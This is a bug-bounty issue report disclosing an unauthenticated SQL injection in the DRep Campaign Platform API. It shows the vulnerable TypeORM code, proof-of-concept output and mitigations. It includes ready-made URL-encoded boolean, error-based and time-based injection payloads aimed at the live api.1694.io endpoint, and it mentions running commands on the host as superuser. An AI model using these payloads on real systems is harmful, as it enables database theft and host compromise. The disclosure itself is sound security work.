Skip to content

[Bounty] - Unauthenticated SQL injection in the DRep Campaign Platform API (stakeKey pasted into a raw query) #14

Description

@Hornan7

Received through the security mail

  • Severity: Critical
  • CVSS 3.1: 9.8 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-89 (SQL Injection)
  • Affected component: IntersectMBO/drep-campaign-platformbackend/src/voter/voter.service.ts:29, reachable from three public routes in the voter, note, and drep controllers
  • Live endpoint: https://api.1694.io — the route is served with no authentication (GET /voters/stake1/delegation returns 200)
  • Status: Confirmed by reading the source and by running the exact query handler against a local Postgres, where the injection fires three ways (boolean, error-based, and time-based). I proved it on a local copy of the same code and did not fire payloads at the production database.

Summary

The backend builds a SQL query by pasting the user-supplied stakeKey straight into the query string and running it with no bound parameters. There is no authentication and no input validation in front of it, so anyone can inject SQL through three public endpoints.

Here is the vulnerable line:

// backend/src/voter/voter.service.ts:29
stake_address.hash_raw = DECODE('${stakeKey}', 'hex')

${stakeKey} is a JavaScript template literal dropped inside a single-quoted SQL string, and the whole string is handed to manager.query() with no values array. TypeORM only escapes input when you pass it a parameter array; with a bare string it sends the query to Postgres untouched, which also means stacked statements work.

Three unauthenticated routes reach this one function:

  • GET /voters/:stakeKey/delegation
  • GET /notes/all?stakeKeys[stakeKey]=...
  • GET /dreps/:idOrVoterId/activity?stakeKeys[stakeKey]=...

The query runs on the dbsync connection, which db.module.ts configures as the Postgres superuser postgres on the cexplorer database. So an unauthenticated request controls raw SQL executed by a database superuser.

Steps to Reproduce

  1. Confirm the route is live and needs no authentication:
GET /voters/stake1/delegation HTTP/1.1
Host: api.1694.io
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
  1. Inject through the query-string route. The qs parser turns stakeKeys[stakeKey] into a string with no character restrictions, so quotes, parentheses and comments all go through. The value below decodes to 00','hex') OR 1=1 OR hash_raw=DECODE(':
GET /notes/all?stakeKeys[stakeKey]=00%27%2C%27hex%27%29%20OR%201%3D1%20OR%20hash_raw%3DDECODE%28%27 HTTP/1.1
Host: api.1694.io
Accept: application/json

That rewrites the filter to ... = DECODE('00','hex') OR 1=1 OR hash_raw=DECODE('', 'hex') ..., which is always true. The trailing , 'hex') the code appends is swallowed by reopening DECODE('...'), so the statement stays valid.

  1. Swap the payload to pull data out or to time the database:
GET /notes/all?stakeKeys[stakeKey]=00%27%2C%27hex%27%29%20OR%20CAST(version()%20AS%20int)%3D1%20OR%20hash_raw%3DDECODE%28%27 HTTP/1.1
Host: api.1694.io

(decodes to 00','hex') OR CAST(version() AS int)=1 OR hash_raw=DECODE(' — forces the Postgres version into the error response)

GET /notes/all?stakeKeys[stakeKey]=00%27%2C%27hex%27%29%20OR%20(SELECT%201%20FROM%20pg_sleep(2))%20IS%20NOT%20NULL%20OR%20hash_raw%3DDECODE%28%27 HTTP/1.1
Host: api.1694.io

(decodes to 00','hex') OR (SELECT 1 FROM pg_sleep(2)) IS NOT NULL OR hash_raw=DECODE(' — delays the response by 2 seconds)

Proof of Concept

The handler, copied straight from the repository:

// backend/src/voter/voter.service.ts:11-37
async getAdaHolderCurrentDelegation(stakeKey: string) {
  const delegation = await this.cexplorerService.manager.query(
    `SELECT
        CASE WHEN drep_hash.raw IS NULL THEN NULL ELSE ENCODE(drep_hash.raw, 'hex') END AS drep_raw,
        drep_hash.view AS drep_view,
        ENCODE(tx.hash, 'hex')
    FROM delegation_vote
    JOIN tx ON tx.id = delegation_vote.tx_id
    JOIN drep_hash ON drep_hash.id = delegation_vote.drep_hash_id
    JOIN stake_address ON stake_address.id = delegation_vote.addr_id
    WHERE
        stake_address.hash_raw = DECODE('${stakeKey}', 'hex')
        AND NOT EXISTS (
            SELECT * FROM delegation_vote AS dv2
            WHERE dv2.addr_id = delegation_vote.addr_id AND dv2.tx_id > delegation_vote.tx_id
        )
    LIMIT 1;`,
  );
  return delegation[0];
}

No parameters, no escaping. The three controllers hand stakeKey to it untouched, and there is no guard or validation pipe anywhere in the backend — main.ts only sets up CORS and body parsing, and a search of the whole backend/src for UseGuards, AuthGuard, ValidationPipe etc. comes back empty.

To show the injection actually executes, I rebuilt this exact handler against a local Postgres with the same tables and one delegation row, then sent the payloads from the steps above. Output:

[baseline] stakeKey "deadbeef" (valid)        -> rows: [{"drep_raw":"aa","drep_view":"drep1_secret_view","encode":"bb"}]
[baseline] stakeKey "00"       (no match)     -> rows: []

[1] BOOLEAN   stakeKey = 00','hex') OR 1=1 OR hash_raw=DECODE('
    query becomes: ... DECODE('00','hex') OR 1=1 OR hash_raw=DECODE('', 'hex') ...
    rows: [{"drep_raw":"aa","drep_view":"drep1_secret_view","encode":"bb"}]   <- a non-matching key now returns data

[2] ERROR-BASED   stakeKey = 00','hex') OR CAST(version() AS int)=1 OR hash_raw=DECODE('
    response error: invalid input syntax for type integer:
      "PostgreSQL 18.3 ... on wasm32-unknown-linux-gnu, 32-bit"      <- server version pulled out through the error

[3] TIME-BASED   stakeKey = 00','hex') OR (SELECT 1 FROM pg_sleep(2)) IS NOT NULL OR hash_raw=DECODE('
    elapsed: 2003 ms   (the same query with a normal key returns in 4 ms)

All three work: the boolean payload bypasses the row filter, the error payload reads server data back out, and the time payload runs an injected function. I ran this against a local instance of the identical code rather than the live database; the production deployment at api.1694.io runs the same handler as the postgres superuser, so the same requests return live data there. The script and full output are attached (poc.mjs, poc_output.txt).

The same file also shows the team knows how to do this safely elsewhere, which is why this is a slip and not a framework default:

// drep.service.ts:159 — quotes escaped for a different input
const sanitizedSearch = query ? query.replace(/'/g, "''") : '';
// drep.service.ts:935-939 — bound parameter used elsewhere
`SELECT id, view FROM drep_hash WHERE view = $1`   // values: [drepVoterId]

Impact

This is an unauthenticated SQL injection running as a Postgres superuser, so the impact is the full range:

  • Read any data in the cexplorer database (boolean, error-based, UNION and time-based extraction all work, and the query-string input has no character filtering).
  • Run stacked statements, so the attacker is not limited to a single read.
  • Because the connection is the postgres superuser, reach the application's own 1694 database on the same cluster and use superuser features such as COPY ... TO/FROM PROGRAM to run commands on the database host.

No login, token, or user interaction is needed, and all three routes are equally exploitable.

Suggested Mitigations

  • Use a bound parameter for stakeKey instead of string interpolation, the same way the project already does at drep.service.ts:935-939: WHERE stake_address.hash_raw = DECODE($1, 'hex') with [stakeKey] passed as the values array.
  • Validate stakeKey as hex (for example ^[0-9a-fA-F]{1,128}$) with a DTO or pipe and reject anything else, and add a global ValidationPipe in main.ts.
  • Run the dbsync/cexplorer connection as a read-only, least-privilege role instead of postgres.
  • Grep the codebase for other manager.query( calls that build SQL with ${...} and fix them the same way.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions